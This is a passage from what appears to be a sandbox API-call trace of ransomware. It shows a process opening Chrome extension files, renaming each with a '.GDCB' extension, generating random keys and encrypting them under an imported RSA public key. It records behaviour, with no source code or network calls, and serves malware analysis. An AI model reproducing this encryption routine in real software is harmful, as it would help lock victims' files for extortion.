(normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.623] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.625] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.628] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xed, lpOverlapped=0x0) returned 1 [0255.637] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.643] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.gdcb")) returned 1 [0255.648] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0255.651] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.653] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.653] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.653] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.653] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.656] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.658] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.658] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.658] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.659] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0255.661] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783808) returned 1 [0255.661] CryptGetKeyParam (in: hKey=0x6783808, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.661] CryptEncrypt (in: hKey=0x6783808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.661] GetLastError () returned 0x0 [0255.661] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.661] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.663] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783088) returned 1 [0255.663] CryptGetKeyParam (in: hKey=0x6783088, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.663] CryptEncrypt (in: hKey=0x6783088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.663] GetLastError () returned 0x0 [0255.663] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.663] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.664] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.667] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.669] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd7, lpOverlapped=0x0) returned 1 [0255.679] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.685] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json.gdcb")) returned 1 [0255.690] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.693] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.695] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.695] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.695] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.695] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0255.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.700] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.700] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.700] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.702] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67830c8) returned 1 [0255.702] CryptGetKeyParam (in: hKey=0x67830c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.702] CryptEncrypt (in: hKey=0x67830c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.703] GetLastError () returned 0x0 [0255.703] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.703] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.704] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783248) returned 1 [0255.704] CryptGetKeyParam (in: hKey=0x6783248, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.705] CryptEncrypt (in: hKey=0x6783248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.705] GetLastError () returned 0x0 [0255.705] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.705] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.706] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.709] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.711] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd1, lpOverlapped=0x0) returned 1 [0255.720] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.728] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0255.734] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0255.737] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.742] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.742] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0255.742] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.742] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0255.745] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.748] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.748] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0255.748] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.749] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0255.752] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6782508) returned 1 [0255.752] CryptGetKeyParam (in: hKey=0x6782508, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0255.752] CryptEncrypt (in: hKey=0x6782508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0255.752] GetLastError () returned 0x0 [0255.752] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.752] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0255.754] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659f238) returned 1 [0255.754] CryptGetKeyParam (in: hKey=0x659f238, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0255.754] CryptEncrypt (in: hKey=0x659f238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0255.754] GetLastError () returned 0x0 [0255.754] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.754] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0255.756] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.759] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.761] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x160, lpOverlapped=0x0) returned 1 [0255.771] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.779] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.gdcb")) returned 1 [0255.783] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0255.786] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.788] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.788] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0255.788] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.788] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0255.791] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.793] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.793] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0255.793] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.793] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0255.795] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659f878) returned 1 [0255.795] CryptGetKeyParam (in: hKey=0x659f878, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0255.795] CryptEncrypt (in: hKey=0x659f878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0255.796] GetLastError () returned 0x0 [0255.796] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.796] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0255.798] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659f938) returned 1 [0255.798] CryptGetKeyParam (in: hKey=0x659f938, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0255.798] CryptEncrypt (in: hKey=0x659f938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0255.798] GetLastError () returned 0x0 [0255.798] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.798] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0255.799] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.802] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.805] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x2b56, lpOverlapped=0x0) returned 1 [0255.827] VirtualAlloc (lpAddress=0x0, dwSize=0x2b60, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.833] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json.gdcb")) returned 1 [0255.851] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.856] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.856] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.856] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.856] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0255.859] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.862] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.862] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.862] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.862] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.864] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782488) returned 1 [0255.864] CryptGetKeyParam (in: hKey=0x6782488, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.864] CryptEncrypt (in: hKey=0x6782488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.865] GetLastError () returned 0x0 [0255.865] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.865] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.866] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782088) returned 1 [0255.866] CryptGetKeyParam (in: hKey=0x6782088, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.866] CryptEncrypt (in: hKey=0x6782088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.867] GetLastError () returned 0x0 [0255.867] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.867] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and 